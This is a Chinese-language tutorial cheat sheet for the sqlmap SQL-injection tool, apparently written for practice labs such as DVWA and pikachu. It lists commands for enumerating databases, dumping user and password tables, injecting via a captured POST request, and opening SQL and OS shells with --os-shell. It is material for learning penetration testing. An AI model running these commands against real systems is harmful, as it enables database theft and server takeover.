SqlMap详解
查看所有参数
sqlmap -h
sqlmap -hh # 显示全部
sqlmap --update # 更新命令
一、基本使用参数
-u :目标的URL地址
sqlmap -u "url"
-d:直接连接数据库
sqlmap -d "mysql://root:root@127.0.0.1:3306/dvwa"
-m :将多个URl保存在文本中,从文本中获取多个URL
--cookie:cookie值,用于登录
sqlmap -u "URL" --cookie="PHPSESSID=mrdvk1n5ccqgj0bbjqbjki37kn"
--random-agent:设置随机的HTTP User-Agent
信息获取
sqlmap -u "URL" --banner # 查看数据库版本信息
sqlmap -u "URL" --current-user # 查看当前的用户
sqlmap -u "URL" --is-dba # 查看当前用户是否为管理权限
sqlmap -u "URL" --users # 列出所有管理用户
sqlmap -u "URL" --dbs # 查询当前用户下的所有数据库
sqlmap -u "URL" --current-db # 获取当前网站数据库的库名
sqlmap -u "URL" -D dvwa --tables # -D 数据库名 --tables:查询指定数据库下的所以表名
sqlmap -u "URL" -D dvwa -T users --columns # 获取指定表下的所有字段
sqlmap -u "URL" -D dvwa -T users -C "user,password" --dump # 获取字段内容
sqlmap -u "URL" --passwords # 列出数据库用户的密码
二、post方式注入
三种注入方式
1、sqlmap结合burpsuite
用burp抓包,将抓到的数据包保存到文件中“post.txt”
POST /vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.31.211:48882
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://192.168.31.211:48882
Connection: close
Referer: http://192.168.31.211:48882/vul/sqli/sqli_id.php
Cookie: PHPSESSID=dvk1gp3cpdr5judk38csctoe0e
Upgrade-Insecure-Requests: 1
id=4&submit=%E6%9F%A5%E8%AF%A2
使用命令加载这个文件
sqlmap.py -r "D:\\post.txt" -p “id” --dbs
# -r参数:加载一个文件
# -p参数:指定参数
2、sqlmap自动填写表单
命令如下
sqlmap.py -u "http://pikachu/vul/sqli/sqli_id.php" --forms --dbs
# --forms 在目标URL上解析和测试表单,出现选项,直接默认按回车即可
3、指定表单注入
抓包可以看到注入点在:id=2&submit=%E6%9F%A5%E8%AF%A2
--data参数:--data=DATA 指明参数是哪些
sqlmap.py -u "http://sqli_id.php" --data="id=2&submit=%E6%9F%A5%E8%AF%A2" --dbs
三、高级参数注入
--level:level有5个等级,默认等级为1,进行Cookie测试时使用--level 2 ,进行use-agent或refer测试时使用--level 3 ,进行 host 测试时使用--level 5
--is-dba:判断是否是数据库管理员
--sql-shell:运行自定义SQL语句

注意:只能使用select语句
--delay:设置多久访问一次参考: https://www.cnblogs.com/12377393.html
--delay 10 # 每隔10秒请求一次
--os-shell:参考: https://www.cnblogs.com/zzjdbk/p/13951047.html
sqlmap -u "URL" -p "name" --os-shell
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关
-m:扫描多个url
sqlmap -m list,txt # url列表文件
# 多个URL保存到一个文本文件当中(list.txt)
四、注入脚本的使用
--tamper:使用脚本
语法:--tamper ["脚本名称"]